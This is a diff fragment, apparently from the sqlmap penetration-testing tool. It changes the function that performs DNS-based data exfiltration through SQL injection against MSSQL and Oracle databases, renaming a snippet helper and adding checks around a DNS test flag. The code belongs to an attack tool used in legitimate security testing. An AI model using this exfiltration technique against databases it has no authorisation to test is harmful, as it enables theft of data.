1717from lib .core .common import dataToStdout
1818from lib .core .common import decodeHexValue
1919from lib .core .common import extractRegexResult
20- from lib .core .common import getSPLSnippet
20+ from lib .core .common import getSPQLSnippet
2121from lib .core .common import hashDBRetrieve
2222from lib .core .common import hashDBWrite
2323from lib .core .common import pushValue
@@ -52,7 +52,7 @@ def dnsUse(payload, expression):
5252
5353 if conf .dnsDomain and Backend .getIdentifiedDbms () in (DBMS .MSSQL , DBMS .ORACLE ):
5454 output = hashDBRetrieve (expression , checkConf = True )
55- if output and PARTIAL_VALUE_MARKER in output :
55+ if output and PARTIAL_VALUE_MARKER in output or kb . dnsTest is None :
5656 output = None
5757
5858 if output is None :
@@ -68,10 +68,9 @@ def dnsUse(payload, expression):
6868 nulledCastedField = agent .hexConvertField (nulledCastedField )
6969 expressionReplaced = expression .replace (fieldToCastStr , nulledCastedField , 1 )
7070
71- expressionRequest = getSPLSnippet (Backend .getIdentifiedDbms (), "dns_request" , PREFIX = prefix , QUERY = expressionReplaced , SUFFIX = suffix , DOMAIN = conf .dnsDomain )
71+ expressionRequest = getSPQLSnippet (Backend .getIdentifiedDbms (), "dns_request" , PREFIX = prefix , QUERY = expressionReplaced , SUFFIX = suffix , DOMAIN = conf .dnsDomain )
7272 expressionUnescaped = unescaper .unescape (expressionRequest )
7373
74-
7574 if Backend .isDbms (DBMS .MSSQL ):
7675 comment = queries [Backend .getIdentifiedDbms ()].comment .query
7776 query = agent .prefixQuery ("; %s" % expressionUnescaped )
@@ -96,9 +95,10 @@ def dnsUse(payload, expression):
9695
9796 if output is not None :
9897 retVal = output
99- dataToStdout ("[%s] [INFO] %s: %s\r \n " % (time .strftime ("%X" ), "retrieved" if count > 0 else "resumed" , safecharencode (output )))
100- if count > 0 :
101- hashDBWrite (expression , output )
98+ if kb .dnsTest is not None :
99+ dataToStdout ("[%s] [INFO] %s: %s\r \n " % (time .strftime ("%X" ), "retrieved" if count > 0 else "resumed" , safecharencode (output )))
100+ if count > 0 :
101+ hashDBWrite (expression , output )
102102
103103 if not kb .bruteMode :
104104 debugMsg = "performed %d queries in %d seconds" % (count , calculateDeltaSeconds (start ))
@@ -108,6 +108,5 @@ def dnsUse(payload, expression):
108108 warnMsg = "DNS data exfiltration method through SQL injection "
109109 warnMsg += "is currently not available for DBMS %s" % Backend .getIdentifiedDbms ()
110110 singleTimeWarnMessage (warnMsg )
111- conf .dnsDomain = None
112111
113112 return retVal
0 commit comments